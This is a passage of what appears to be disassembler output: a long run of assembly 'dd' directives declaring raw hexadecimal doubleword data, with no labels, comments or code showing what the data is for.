		dd 9BF60026h, 3C8384CCh, 8C10004h, 0ABE523CEh, 2112DE8Fh
		dd 86BC5F5Ch, 20F57EC7h, 4A0E5765h, 7A5A247Ch, 651A9CCDh
		dd 7BC129C0h, 0AE0554A4h, 1ACD9D89h, 0F0038C24h, 0E101B7D3h
		dd 0EC32244Dh, 14133A0Bh, 0C0C4CDFDh, 12B1848Ah, 7DCC0212h
		dd 89864703h, 0B0EB9585h, 54AC0C2h, 9CB8E0FDh, 0B70F9905h
		dd 61F850DEh, 0E0235B80h, 8D2D1635h, 7B494AFEh,	0BB797057h
		dd 0AB67C528h, 725DB417h, 15203EACh, 2301A180h,	0CEBF0684h
		dd 0E43C5A6h, 4CBBF0B5h, 0C54A01F5h, 39EAB45h, 0F1DDC2C0h
		dd 6E01FD72h, 7422BB5Bh, 352E5824h, 2E9E316Ch, 8088C9A0h
		dd 0CDEB5C4Ah, 5F06A29Ah, 0CFB00B7Ah, 0FF088277h, 56E44AD1h
		dd 42FC535Dh, 558D8B60h, 40F81AAEh, 327D4DEAh, 0BE02616Ah
		dd 0DF1BB03Ah, 0FA21BB02h, 1B34EDA1h, 0C39455EEh, 9BB88629h
		dd 0E1A5E904h, 4F81B10Ch, 0D8622749h, 15E40693h, 25F8C111h
		dd 0E92568B2h, 0C43959FCh, 9E6C8444h, 72D287C6h, 19F78400h
		dd 26491688h, 0AC29B963h, 6F028E16h, 6050F8ACh,	0DE185757h
		dd 0E54EB75Bh, 0DB4FECA9h, 0D1318938h, 0B5298276h, 265C2719h
		dd 20B7D552h, 79801B11h, 85388CE8h, 73AC3D16h, 9D4AD2ECh
		dd 626A2EF1h, 5AA2A601h, 70819C29h, 0B70B7CF2h,	70FF6A02h
		dd 8DB51018h, 4C532412h, 12198508h, 22D5B65Fh, 0F6469043h
		dd 0C3B0810Bh, 306A89FFh, 150361C1h, 0E6121BACh, 0D3800070h
		dd 71E41DDDh, 452D98B0h, 648A541Bh, 0CCB74415h,	8533D0AAh
		dd 978E26FDh, 7660C319h, 29611298h, 92126E08h, 0EE12FBC1h
		dd 0B74331AAh, 0CF192BCAh, 0E9123184h, 0DA552F89h, 2BB32E09h
		dd 0BD0B09BCh, 5FBCA4F7h, 0A93CD1AAh, 29B91223h, 4E49F5E0h
		dd 62BA44E0h, 23B6254Ah, 605AFB22h, 1218AC2h, 715A5150h
		dd 0B7482A47h, 805CA729h, 7ACD141h, 14BDDC8h, 68618B02h
		dd 82A0F775h, 0B5890E90h, 1345EE5h, 0E9EEB35Bh,	8B3DA06Ch
		dd 97144522h, 576453F9h, 4012E844h, 8B8A5E14h, 72FB0069h
		dd 3DA1BF8Fh, 0A5F849D0h, 41E69013h, 0B5007BF2h, 0E123EA0Dh
		dd 67023BA2h, 0E98CC7EFh, 0AB44D770h, 5B059616h, 95C2F0ADh
		dd 0C0D1E41h, 209D9F0Ch, 51662229h, 4AC1E10Eh, 0B6ECD85Bh
		dd 0B1209341h, 3FC24BEh, 0B0E80535h, 2B23A143h,	0ADAB92C4h
		dd 603BA929h, 57B91749h, 6F7104Ah, 3806D0A0h, 1B89CEC4h
		dd 928C901Ch, 0B6B0A7A7h, 770883EDh, 3A894701h,	6D97FCC0h
		dd 0F8F4C0A9h, 0FD004B66h, 34F6D38Dh, 0BF5D9509h, 2BD8D4C9h
		dd 59BDC731h, 0D7891C2Bh, 0DF99BED2h, 3F78B56Eh, 1FF87FF2h
		dd 3A985518h, 9E105D7Eh, 0F76DC043h, 0A8F06788h, 0C23E717h
		dd 0D3E9CBEh, 0BD7B884Ah, 99A10309h, 3041BC02h,	0E5BD2900h
		dd 0BA519D10h, 8396B569h, 3D6C60CDh, 0D863ACA0h, 88E8E04Bh
		dd 0AB1D3912h, 0DA3ABF2Dh, 0F1168B18h, 0F50803A7h, 11914358h
		dd 78F3A98h, 0D232CA4Ah, 648047ECh, 38F48059h, 6FBFDD01h
		dd 0E4E801DEh, 2EF2C466h, 5B513B5Ch, 5ED420A7h,	8C914BDEh
		dd 0F725804Bh, 0E42C60Fh, 44B57BBh, 0E6E1FF45h,	0DC80E00Dh
		dd 0B8F7DD1h, 29C706F9h, 594967F4h, 5FF84613h, 194B82FEh
		dd 8A13A988h, 0A24045DEh, 0ACBDD3h, 7ABAF0F3h, 235A5CE5h
		dd 0C5311125h, 3E70908h, 1AD0FC7Bh, 59B21764h, 0A285C816h
		dd 82629600h, 0E6E05ECAh, 4FAAE2D1h, 5EFAEC98h,	57B2C88h
		dd 0BDB95495h, 0A281855Bh, 628684F4h, 0A899F934h, 0BF2E0117h
		dd 0BC5E335h, 14142E60h, 13191095h, 4E59EC7Bh, 0A830AD21h
		dd 0C2068C15h, 0B99D33E8h, 6A29559h, 0AFBD0131h, 58D8AB81h
		dd 302A7E0Ch, 0A5BD03BDh, 24B72C4Ah, 25462F5Fh,	40CBD68Bh
		dd 0EBD7805Bh, 31F9054h
		dd 0E48355Ch, 203F8BB0h, 9A63143h, 0BE272663h, 2D5A600Ch
		dd 730F9695h, 0C357558Ch, 0B3CF79CEh, 9C5BC088h, 5F020B9Bh
		dd 0D25B9050h, 2B50870h, 0D6160CF0h, 58D6A226h,	86CD625h
		dd 0BB8204C9h, 0E661AADCh, 7BA002D5h, 0F75A9875h, 4352405Ch
		dd 466F5355h, 4F8E0B1Eh, 27DCC7CEh, 0BF09622Bh,	3200D0E4h
		dd 55A05B79h, 0EC5FDF83h, 0F6729558h, 0E9F9F14Bh, 288C14ACh
		dd 0FBED31F2h, 6255A77Ah, 21039F0h, 2A4944E9h, 0CB7E8557h
		dd 99AA55EBh, 50B43686h, 2E4BA117h, 122B2C9Ch, 0AD24859Dh
		dd 5EB1D331h, 0AA2B752Bh, 0EA01CE6Ah, 0E9D4E3D2h, 0C7A53889h
		dd 1E80CE35h, 2C5912Dh,	0B4C8AD15h, 47D5AA49h, 32352759h
		dd 190EC401h, 52F08521h, 978D73E7h, 73B708D0h, 0E2FB2D60h
		dd 0C4545552h, 1CF98225h, 824DF59Eh, 500CC6Bh, 3AFBF184h
		dd 0FDFF04E5h, 0EF62181Ch, 368EE86h, 45B6F284h,	0BEDEDC8Ah
		dd 0A9F17B1Eh, 7DF16Dh,	0B1CAF71Fh, 3302BDF8h, 89BFE7E4h
		dd 86D7694h, 0C2C0901h,	2532F225h, 5C65B61h, 91BF6609h
		dd 2A31E00Bh, 0C4548A48h, 2C058CC2h, 0CD12C7A2h, 116F6139h
		dd 618C5F00h, 0D3802BABh, 0BACB074Ah, 59CA285Fh, 0E1FEC2E1h
		dd 0B0E0DEh, 41AB2746h,	0E93287D4h, 0B20944h, 5B56C239h
		dd 0C6B89507h, 0D4AC7FFDh, 26BC0B4Dh, 0D181CD5Ah, 3A2B21FEh
		dd 0C5C2E4E2h, 0D11B60DFh, 3F519D2Fh, 0CF50DDC4h, 1B4AD0B3h
		dd 0FF2B66C2h, 2DF87414h, 0F88B2AE1h, 0A1D8B64Ah, 817FB4EEh
		dd 15E55Eh, 0F690C8BFh,	2573B023h, 846E1011h, 0BF43C495h
		dd 7C42BE54h, 0FDC6D5BBh, 0DD941A95h, 0FA40292Eh, 0DD8A5061h
		dd 0B797239Ah, 0FD9400B8h, 6DC74650h, 0C0BC1958h, 0A7A149DDh
		dd 789E00CDh, 0EFC9902Eh, 7F0BB769h, 545FF5A0h,	1846D675h
		dd 2926801h, 2BF5334Ch,	0A205D334h, 97282D41h, 4F9DFA56h
		dd 5BB50991h, 4DE9FF54h, 0E6EB40CFh, 0A2B5223Ah, 5BC486D1h
		dd 0AB32D8B6h, 12F6225Eh, 0AAFBBF13h, 1D23196Bh, 6217803Dh
		dd 28DA1239h, 2DD09ADh,	14DC0960h, 88EF0B44h, 99761F6h
		dd 0A752F10Dh, 1256419Ah, 1303727h, 0BE9B773h, 4575CE9Dh
		dd 0B5290237h, 457511D5h, 8653AD13h, 0BD6AFC50h, 0F2E042CDh
		dd 4BADD55h, 0D19D0925h, 95A81608h, 0DA451725h,	0EA03BC70h
		dd 7EB73992h, 1BF07A0Ch, 315E9162h, 6A5A8BCBh, 0AF017AB5h
		dd 0BA7BFE5h, 5A3018C7h, 7E224145h, 29174582h, 0C1A2C098h
		dd 8EA13E00h, 3604A62h,	0D320008Bh, 8D19E9BBh, 1A9A5B50h
		dd 13A885BDh, 3F668728h, 8DCB9BBBh, 33DFDD52h, 0C6CA0010h
		dd 13FF8928h, 1F8500A2h, 0D9F92145h, 600F6ABDh,	0C735E881h
		dd 61B516CBh, 2772DAAh,	5AFF3158h, 4D5050DCh, 0C4D0ADDFh
		dd 6C7B6115h, 0A63A5BD1h, 0C59D0810h, 0CF80051Ah, 0EA342520h
		dd 0B1D90C0Ah, 175FE5A8h, 9E0037A7h, 711324D9h,	0DD1FC97Eh
		dd 46C0E306h, 0B779262Fh, 615E278Fh, 5BEB2C54h,	0DC450ECh
		dd 5C660301h, 5812372Dh, 0FDF8047Ah, 94041215h,	4B82BB9h
		dd 4A4A41E3h, 807C9BAFh, 0BC91F2B4h, 7B6147Dh, 5128B46h
		dd 621DE72Bh, 55C6D892h, 8EEA64ECh, 7CBCDA05h, 38AA0616h
		dd 0AD228D64h, 0F40B2017h, 395195F6h, 1C803F33h, 8809E9F9h
		dd 0D001A927h, 51F4585h, 2EF98759h, 29DB1D83h, 2F851E18h
		dd 0C2E9C401h, 0BDC636A0h, 3500F3F6h, 0A0F2152Ah, 85A800BDh
		dd 16394ED1h, 0D200E742h, 0F58D1FB1h, 1A3D52h, 0AACDE245h
		dd 3E6176E9h, 0F80D2800h, 2CCB7C29h, 66F0002Eh,	53F30C03h
		dd 7100223Dh, 6D044D86h, 4C8D4549h, 2138DD0h, 6F17003Eh
		dd 23D485C2h, 6D039F00h, 792A570Ch, 0B911C67Eh,	80EA204h
		dd 4E0E293Fh, 72AA274h,	3F52FD71h, 0C00095E4h, 4D0A785Dh
		dd 0BE87B1Ah, 6C5A267h,	0FADFC1F5h, 0FA2552E4h,	0C09EF037h
		dd 0E27D185Eh, 841948FDh, 0F5D4ACCFh, 8245F97Bh, 60543308h
		dd 0CC589F36h, 4D84DF99h, 2E51D200h, 0C2E5FA65h, 0A4890CACh
		dd 0B5277783h, 0ABBF80Ch, 4271EDh, 38470C8Dh, 0F4637E1h
		dd 0F0234C00h, 0E710C1A4h, 5026C0AAh, 0CC81669Bh, 542F4B3Bh
		dd 0A8A016DCh, 8838351Ah, 8CF66355h, 0B6DC1E2h,	0CD409E4h
		dd 914BB253h, 2A5FE746h, 28AE00ABh, 7C85E2A7h, 76389C32h
		dd 80B376D1h, 280253B8h, 8000D0B5h, 0DA063B08h,	59FACAh
		dd 42778BD5h, 889BBA5Dh, 0B9F6A302h, 812CEF08h,	0C92EDFE9h
		dd 406E0D9Fh, 9CBF40F5h, 800065F8h, 17AEBD12h, 704EBDBh
		dd 24BBE672h, 4AD5D0A3h, 3E00E11Dh, 603CD7A5h, 88B0DCh
		dd 948A0F8Bh, 5784991Ah, 0ED702400h, 2A33496Ch,	0CBF70F6Ah
		dd 0E1C0D5FDh, 0D9EE23AEh, 0DC79AC03h, 0C0B05C41h, 28A9C9C6h
		dd 5FE5ABAFh, 9E60AEECh, 92B443F4h, 0C67B1648h,	4E040C99h
		dd 73022810h, 82C70DF2h, 165C57E5h, 694EE980h, 3780BCh
		dd 0FC34DEAAh, 7BDBA6D2h, 7CB06272h, 0B3E50800h, 276CCBB0h
		dd 4E810058h, 0FE592E07h, 2F0F6419h, 0C514954Ah, 0C101A401h
		dd 16314679h, 877D60CAh, 0FA220154h, 526EEF24h,	73E22E84h
		dd 421C1B00h, 0F97A7F8Ch, 2ED4F060h, 0C16FB66h,	74833461h
		dd 600BBC3h, 0F49ECD1h,	8C2F14h, 0CB6E53F6h, 45B3988Bh
		dd 4B93F000h, 0BFF5426Ch, 310F271h, 27BECD22h, 86A239EAh
		dd 0C4791F40h, 48204301h, 78ABD8EDh, 0A400B245h, 0DA7D62C5h
		dd 0C2A70FBAh, 0B8831E63h, 0D6192C70h, 0E4BB5DFDh, 0BCEFBE51h
		dd 3A94BC7Eh, 0B0E3006Bh, 558A95BFh, 9BD80070h,	0D471068h
		dd 78002D12h, 28A95E43h, 9AC70463h, 527A4851h, 6593102h
		dd 0E0A0A255h, 6EA3D88Dh, 92688919h, 0AF229C15h, 0E60DF522h
		dd 1E41C235h, 0C0DDC1C4h, 5F187B0h, 0EB09ADD0h,	11DBF778h
		dd 0AA2BC288h, 0DD80B930h, 0BEA30086h, 2E77A1Bh, 577A3409h
		dd 9DD00D09h, 0DE735DF9h, 0C58A0B00h, 2E31FA6h,	3C0C9805h
		dd 0A960BA3Ah, 0CC04E17Ch, 36296C9Fh, 22BDAEh, 32A0F9C5h
		dd 0B25405h, 7D6B0AB5h,	2A40E3C8h, 40AE0F5Fh, 0B65DA0DEh
		dd 861766F4h, 0D8EAD2B1h, 8D1EE3A8h, 3AC9C5AAh,	0DE525D2Dh
		dd 54D54800h, 0B4DF123Fh, 51CAA0BBh, 36B70A6Ch,	5DCCF49h
		dd 4B3D9C46h, 0C5F58385h, 0BFFA20A6h, 9970E956h, 0B8370754h
		dd 0D77287A2h, 0D854AC93h, 9B807170h, 9DA5005Fh, 0C5F6F1ACh
		dd 0A8058D90h, 343DBEF3h, 787AE0FAh, 791263Bh, 6AEB2019h
		dd 0F64B8CE0h, 0A41200FAh, 0E5CA5501h, 0A032D42h, 9ABBA0D5h
		dd 0ED05B05Dh, 2936000Bh, 263AAAF1h, 69091E03h,	0D40734h
		dd 7EFFB443h, 0D7140151h, 0CE6FF2A4h, 0E3B8029h, 0A037D859h
		dd 92FC006Ch, 0B8F522D7h, 20EFF007h, 65F6478Ah,	9343B418h
		dd 0C37EC10h, 0A3C4A1B6h, 9AA32BE1h, 7884A5E0h,	88B58601h
		dd 0ADE92653h, 0FAF7FCCCh, 40630EEAh, 253102Bh,	4D65452h
		dd 538AF80h, 4F5FD053h,	4AAD38AFh, 66F50300h, 5EA4D22h
		dd 2A0D0062h, 6653A45h,	0CA009FB7h, 0FD582EBDh,	7D1CE8h
		dd 0C4772855h, 0F3650123h, 0B7BC4700h, 0A15DE3C5h, 0E487006Ch
		dd 0E880B38Eh, 12EA684Dh, 0FE78E53Bh, 0B7F25998h, 10794030h
		dd 20D42F7h, 4BEE8528h,	5E57C366h, 0BE3741C0h, 1DB5B981h
		dd 3931DA8Bh, 41625D12h, 0D6FC9D00h, 9943F8A9h,	746AF400h
		dd 95F92BFh, 98AD122Eh,	833C228Fh, 0B46944E0h, 2EFC3348h
		dd 6B01BDE6h, 3C6F9C51h, 0C071F050h, 0E03CBA37h, 9516034Bh
		dd 0D4770DB0h, 96F5B58h
		dd 0A39945h, 9D0B17A6h,	0C4E71D68h, 64C743AEh, 0EC3FCA7Fh
		dd 0A600FC2Ch, 9F20B8A2h, 17C199BAh, 0E6EF34Ch,	0CD206631h
		dd 0B2ACF2ADh, 0F5987D00h, 0DDD6BB9Eh, 6C7B0E08h, 41163528h
		dd 0F04B217Dh, 0D8E8D7DBh, 0B3006045h, 0EC3FF502h, 5C853A4Eh
		dd 0D6003B50h, 0A96F767Ch, 0C300C141h, 0AEEC2797h, 1839F46Bh
		dd 417C1F04h, 0F53A9267h, 98C580F6h, 834DAA5Bh,	0E24E03EBh
		dd 30C76936h, 71011AC1h, 0D609E41Eh, 0C0A58000h, 0A1C20E14h
		dd 0B8BB7442h, 84D79543h, 78BD7678h, 0AAD7DD01h, 343BBC6Dh
		dd 0C3029567h, 66E79C60h, 0D971FD5Dh, 0BD55007Ch, 32887C8Ah
		dd 701EDC1h, 11C7C581h,	0CDD86247h, 4E20300Eh, 22CAF518h
		dd 167EE05h, 0E3FA5DEAh, 286816F1h, 0B9A160C4h,	0C8433BE0h
		dd 73002C11h, 8B061420h, 0C85CBF34h, 24AC5467h,	5614CE83h
		dd 203FBE20h, 14F43B3h,	8F5E6400h, 73810845h, 50FA36Dh
		dd 0E0895039h, 83280605h, 3F19AC0h, 5E7029FFh, 88E90339h
		dd 0FCF0FB58h, 256BB0B8h, 0C660F59Ah, 340FD30Ch, 4775A836h
		dd 1FA0D156h, 0E7CFC379h, 70F250C0h, 456C003Ah,	0F00D4680h
		dd 0BB007649h, 93CC9FBh, 3A7183h, 51C89A2Eh, 2D21D4D7h
		dd 39015F0Eh, 0F0A98078h, 7CA1570Ah, 16C80026h,	0EF7E1B63h
		dd 0C2002EF2h, 0B5665F31h, 0F056058Ah, 1657AFAh, 60E3457Ah
		dd 706B3A5Dh, 2E261897h, 1F013C3Dh, 0ABCB400Bh,	3E49B0D0h
		dd 4F004EDDh, 93181A27h, 0E35C3BEBh, 9A007A96h,	0D8736A98h
		dd 0B3DD41Fh, 3CC5091h,	0DFBC7F51h, 0C27C6C20h,	48C7003Bh
		dd 0C531E0BFh, 700B13F5h, 6D048968h, 5B0DE016h,	7909FC14h
		dd 0D703383Dh, 85899190h, 272BED27h, 61D42976h,	6F3B7EE5h
		dd 785A0033h, 0ABE989AAh, 0EEF36173h, 3E1428C0h, 4CC07ADBh
		dd 93A1FDD7h, 0F79EB213h, 0C96B05EBh, 9657A813h, 0A780EDFCh
		dd 175D23C6h, 15614E0Bh, 0C798F4A1h, 6DBA13DFh,	0BB905FD8h
		dd 0F0F64C05h, 225E505Ch, 47D786C0h, 90FD9A36h,	0BF660259h
		dd 905B8CB2h, 4CB7D7h, 93B75D83h, 6A5F1B48h, 3E706EEEh
		dd 64ED27BBh, 42259DA0h, 0CE68A8DBh, 5FFDA929h,	80177A94h
		dd 59E3E5C3h, 0B1BD310Bh, 20D12649h, 236AA10Ah,	15121047h
		dd 9FE3A3FCh, 0DBFB404Ah, 50E38024h, 1807194Ch,	0C451FDF3h
		dd 6A2D5BFBh, 0B6B702h,	0C92CB43Dh, 0EC0A95E3h,	0F0D659F2h
		dd 561930Fh, 0C3E0504Fh, 1BAE8C7h, 261EB1CFh, 0C5615851h
		dd 0EAE63B90h, 0E43015B2h, 8B0F1859h, 3ABF1705h, 5B901406h
		dd 5E7C5657h, 0A57091D8h, 3AE90119h, 8991F32Bh,	709A29CAh
		dd 0DD79A26Ch, 6AFB4729h, 0F2181B59h, 741D2FFAh, 2704CDBEh
		dd 43FD8D89h, 83CB8003h, 34F86090h, 5964C4CFh, 0BFFEBCh
		dd 0CDC95BA2h, 33B5902Bh, 0D5D61251h, 0E846FD17h, 35698C1Bh
		dd 36F25F4Eh, 1D4F9097h, 318A1E1Ch, 8CAEC04Fh, 0F3E1E286h
		dd 7CA59727h, 59DC1E0h,	85F32B17h, 2A311AF2h, 1860CC0h
		dd 0FFABD262h, 7F1CB1B5h, 0E5BC3BF9h, 922EC00h,	1D65187h
		dd 84114F8Dh, 8887FDD8h, 75B54138h, 0E06F0924h,	0E680346Dh
		dd 6699870h, 206022F1h,	8D911E50h, 44BE5F17h, 622B2911h
		dd 0BD89200Ah, 79861749h, 21712003h, 6AF9FB81h,	0C1768E27h
		dd 0E2DA5B14h, 0E4F9259Dh, 5B3104E7h, 80944578h, 0C6B3094Ah
		dd 14D8A71Fh, 7E523D03h, 90A99524h, 0C82BDA09h,	2000F3F9h
		dd 0F1A71D7h, 0A38F00A6h, 0CAEB332Ah, 9017852Dh, 0E200F806h
		dd 9D18B73h, 29C99D95h,	5A4A2DE9h, 0C46E88A1h, 11CC0835h
		dd 0D0599480h, 0E10A15h, 561CA90Bh, 31F4D7CDh, 7FB5B116h
		dd 0BD1D7D0Ah, 0DF0B5F8Bh, 0AF7E9312h, 0C928A220h, 81950908h
		dd 39DEDF5Eh, 37AB506Ah, 6E55A140h, 5B19D2Ah, 33219D23h
		dd 0F2D393A9h, 0A5A000C2h, 0EE422F62h, 71DC0020h, 641CF711h
		dd 0D42DF48Ch, 45A9445Fh, 45D7202Ah, 0C2E2125Bh, 8D180D92h
		dd 2DBE88B3h, 95890A19h, 0BD544991h, 0E46BB05h,	0D847CA9h
		dd 9CA617A4h, 440D9D2Ch, 0BB9BEA6Ah, 0BD20D5C0h, 9B5C7ABh
		dd 60BDFF9Ah, 0B3AA3A80h, 0B70F55B9h, 0A8FA0825h, 89AA4B75h
		dd 5CC27BA2h, 2BBFA059h, 0E85F56C0h, 2D7FB0D2h,	214D26F5h
		dd 2E40FEA2h, 0AC6D9DF9h, 182295C0h, 0AD4A917Fh, 38033DCh
		dd 7EAB8EA8h, 42E60043h, 778FBABFh, 573760EDh, 1B64C858h
		dd 0EF5B6104h, 1001CF8Ch, 272ACD95h, 5571FCF8h,	0A1D62B82h
		dd 21C1DF36h, 3346ADEh,	1E29A204h, 0D3A38EEFh, 2C004D6Bh
		dd 0F7DC7EBAh, 24EBC701h, 0BB801464h, 84316EBh,	0E149A63Eh
		dd 9E3031E6h, 6FC7B727h, 14FC7E10h, 0BFCC3E8Ch,	18ECA389h
		dd 0F3B3A05Ah, 230ECD0h, 0ED2BA960h, 0BA5FC4E6h, 95B5775Eh
		dd 2D37FE01h, 72D00DB0h, 0DB7E05F3h, 8231E1FFh,	0B70228FDh
		dd 501BD489h, 66800497h, 7E322DBFh, 0A1090045h,	2030F704h
		dd 0DABF9C27h, 0C9149F6Fh, 0DB04532Fh, 0CAB6D0EAh, 0D8200A0Fh
		dd 0F4A1E0B7h, 0E1759D03h, 0D3E7AC05h, 65601CBFh, 0D98C7A48h
		dd 0C0F46DBFh, 0F4AFAD72h, 47EA4902h, 0C62E8A13h, 0CB35035Dh
		dd 3A205C6Bh, 223CA198h, 88EB7900h, 92E96E9Bh, 0B8602DD9h
		dd 0EDFF0F42h, 3183C08Dh, 710990E6h, 8136197Dh,	0D95BD4Dh
		dd 888DBF04h, 221D5F3Fh, 0F9251398h, 93C0DB23h,	40FEF3FCh
		dd 39F3A5A3h, 0A224Bh, 8B892C74h, 82D91466h, 0F2364F25h
		dd 9770BFF4h, 467E1896h, 3460E18h, 82908B91h, 107547h
		dd 14A11568h, 884A7B77h, 0BB5351D0h, 2AF4097Ch,	65F05F57h
		dd 0BA2EA0Eh, 67E3EE7Bh, 746B7DB6h, 1946D652h, 0F92FBF01h
		dd 2068286Fh, 164A9D23h, 76FF29BAh, 0FA1BA028h,	0FB911C4Bh
		dd 809139Ah, 0E90522F0h, 1E9021Dh, 982EA6E8h, 5D69C8B5h
		dd 3E5E07DAh, 4DCBAC00h, 43DB149h, 0EE035520h, 5AFBFC77h
		dd 0EAB5F4B7h, 8AAEF635h, 0BA9A5AB7h, 0C3369484h, 0A89D5DD5h
		dd 0EBBFA02Eh, 2F2BB593h, 0F478FEh, 8E62EA22h, 0FDB44C9Dh
		dd 908B3027h, 71878C6h,	96095395h, 371A307Fh, 0D7487729h
		dd 0D905C0FCh, 179C36F1h, 0FFE7A4h, 2E0C28F0h, 5195813Ch
		dd 0B98912A8h, 148BC9Ch, 0BEA89317h, 20847119h,	748ADF9h
		dd 8985A7E5h, 5AE9D4D8h, 2E828919h, 7E6A0F88h, 85A70FDDh
		dd 20805C42h, 99C0C341h, 79D0CD04h, 0D1FC50A9h,	163CACD3h
		dd 37C57CAFh, 76B994FDh, 0D6C15EECh, 316A4BDFh,	2E8D897Dh
		dd 968E9A4h, 154F8FD2h,	0C04FA1F6h, 6E43C6C7h, 992A2D81h
		dd 5B4DFFF8h, 8C2D0402h, 69F91550h, 0F3589FB8h,	0F5A12420h
		dd 0DF0AF109h, 0AF41B53Ah, 9C01605h, 5042C1F7h,	9D40A25Eh
		dd 0E941C47h, 768102D9h, 38897BA0h, 2B265518h, 0DD6299C9h
		dd 79EDF71Bh, 100E14E7h, 199DD898h, 0D744324Bh,	12BE61DEh
		dd 0F43FF835h, 1696ABAh, 8B7196B3h, 8442D96Eh, 0E0AD741Dh
		dd 541EEF28h, 44E9A800h, 0FFEC70B7h, 55743E5Ch,	8BF14589h
		dd 5B741175h, 283FD8DDh, 2CA148FCh, 6D471009h, 97300299h
		dd 6E28F558h, 240057DCh, 0E8BB5BC8h, 7E10E36h, 0B91745E9h
		dd 1795E886h, 30C91456h, 0B6990B60h, 1958BB16h,	13AEBAA3h
		dd 6DED9D0Bh, 89852904h, 5F8B414h, 0C3386AF9h, 0A7045AC7h
		dd 0AEEFA055h, 54F4090Ch, 0DBF6DE3Eh, 745E520h,	0CA018AE4h
		dd 59F9F50Dh, 0FC7FA688h, 571E2D0Bh, 0FBADA8B7h, 79E189C1h
		dd 9F294455h, 3BFA47C4h, 0BCD6FC17h, 5A268AFFh,	0C47E278Dh
		dd 5B64FCCBh, 91B085A7h
		dd 2705EEB3h, 31518509h, 13DE0DADh, 0DDD618Ch, 0FBBC2A12h
		dd 0B1C04A94h, 34269065h, 310F0C00h, 0B8F28B60h, 8AE41283h
		dd 0F3C2AB6Fh, 3EDEE656h, 780DE95h, 9B40D7F9h, 0B2B543A6h
		dd 7568C102h, 596DFC2h,	5EDD0908h, 1D46DC22h, 882C8500h
		dd 92A19A02h, 0A97D4116h, 0F65F04B7h, 0B6C5A0EEh, 93E40B5Fh
		dd 94626247h, 3D2507D4h, 0F9E197E4h, 8C1BAC05h,	0E9DBABDh
		dd 2526A8EDh, 4CA62A5Dh, 7A13EA67h, 9CBBA0B5h, 5CE738FBh
		dd 3FD7B5DFh, 2AF9FC12h, 0A00585B8h, 0DBFCAE5Fh, 1D7D1FC1h
		dd 0F8FF746Ah, 4E322D9Eh, 0FE8B2DFFh, 0FBD04153h, 211102F3h
		dd 76A1E0Dh, 6F81ABC1h,	957ECBA6h, 0DB519A74h, 0B576B67Ah
		dd 0DA9D9Ch, 89EF6937h,	57ED5B64h, 554972CDh, 5DB350E4h
		dd 6A566BF2h, 0D72E1F0h, 0A902F100h, 0EBABA1A5h, 71E85060h
		dd 58A30545h, 0BC3FB571h, 0E019E19h, 0C75A487Ch, 7F596AF8h
		dd 11B0B81h, 895D6BA4h,	0C0304FADh, 3B45D931h, 3E87D000h
		dd 249F0FBFh, 9DC79846h, 0BB405EF9h, 16562944h,	0BEA63570h
		dd 0EF813E60h, 0CA0E5AECh, 3FE17902h, 8F80F49Eh, 0C515D8Dh
		dd 2F588109h, 0A518FD78h, 6202BF96h, 50336DE6h,	34E660h
		dd 81674D51h, 888DD0E1h, 646A7D00h, 0EEFEDE02h,	97D54C84h
		dd 80A739C7h, 5B2D5E41h, 0FB79BA01h, 96611EC5h,	2EB9DC79h
		dd 81C030EAh, 7A3957F7h, 0EBE64E8Eh, 0BD301BB2h, 764D02A6h
		dd 37FED928h, 55B940F7h, 8F028213h, 61042209h, 0A0F58AAFh
		dd 1C7BA47h, 5E653F91h,	385AE2E9h, 8BF74BE6h, 0AF3114A2h
		dd 30E5A06Ah, 0A883FB9Dh, 51F3162Bh, 8B7EB29Fh,	52C55E5Fh
		dd 3F919D41h, 958D1E88h, 90607BCFh, 0F0BBCEh, 42BD41D2h
		dd 0F88B54E4h, 0CDB7C670h, 5188E08Bh, 2DE29D09h, 9CCE0F5Ah
		dd 0C290F825h, 0A000F17Bh, 6371FE0Bh, 0C4614Fh,	1FDF3999h
		dd 0E932187Fh, 5CF2A52Dh, 5358CF2h, 0B795C1FFh,	0D62F00B6h
		dd 0A28FBF3Dh, 0F5F56950h, 7C250394h, 1D46D60Eh, 0F525FF00h
		dd 0D63C9573h, 0C1A3FC02h, 0C08A50F9h, 0AD2404C6h, 0F58CE2ABh
		dd 430EEF7Fh, 3A58E222h, 522A0h, 6315DBBDh, 9D2B5BD3h
		dd 82A4DD70h, 14394617h, 0ACD17283h, 20912CBCh,	0FF269B1Fh
		dd 0BF908E00h, 4A1FE46Ah, 800DDAC8h, 0E7FE09EBh, 3A0190A9h
		dd 9D0F572Ch, 0A07F3CC3h, 98EC81D4h, 7BE0C75Fh,	95BBA41Bh
		dd 90006AC4h, 914DA328h, 708261E5h, 0D8831687h,	0C097DB6Ah
		dd 0F06D3CBAh, 0D56A3C54h, 29530CF4h, 5FE7B585h, 54C4F99Dh
		dd 7D779F00h, 93CA09CFh, 75951089h, 556A621Dh, 0E9445E30h
		dd 2B2D0F02h, 6EBBD124h, 0C03824h, 8FFA97C2h, 9C91D5B7h
		dd 9BC04EC8h, 5BC8AAE1h, 4DE44100h, 0A263AE3Ch,	108A29F5h
		dd 93BD80DBh, 0F667DC8Eh, 0CD04307Eh, 0DA273F43h, 8BA2E2ABh
		dd 0D835F3AAh, 4E96A5F1h, 282508h, 2FCFBF66h, 0C497026Ah
		dd 7B6E0090h, 0F55301CBh, 4700C031h, 0FC93AB49h, 17776FCEh
		dd 0EE8B6ECDh, 49AAC224h, 46D4FE4Eh, 18526F6h, 834DAF38h
		dd 0C16017E4h, 60042DA7h, 6339BB66h, 61F720EFh,	67B036Dh
		dd 0F0693E00h, 0E9969B90h, 1947BDE0h, 2D395008h, 0A2005037h
		dd 0D7420EDFh, 9D331263h, 90A4F209h, 0A61122EEh, 0A28003C8h
		dd 6CF5B4E4h, 833A01B0h, 901FDA12h, 50CAAEF8h, 6BC58019h
		dd 6F160786h, 0B7A50F01h, 90D75EEBh, 0BAB8252Dh, 0E004B3E4h
		dd 0A1C94AE5h, 0EA29B505h, 0A62F3739h, 0DB01A7AFh, 642F1D4Eh
		dd 0D19082D9h, 4E9D19F8h, 59E69310h, 1FF00A0h, 0B34A959Dh
		dd 805B98FFh, 3BC55CF3h, 0E9083913h, 3F7CE8F6h,	0E302F180h
		dd 69A482A7h, 1BC4A95Eh, 0C231BF44h, 9A492A59h,	0E8402EB0h
		dd 2960BE26h, 0D54A9FBDh, 203AE477h, 0F09518FDh, 0FBB72565h
		dd 82EFA7E9h, 91853187h, 4DA75E07h, 0A5A2FC56h,	8469BA5Dh
		dd 0BE561365h, 5096604h, 0F2959436h, 88E2248h, 0C4B7507Ch
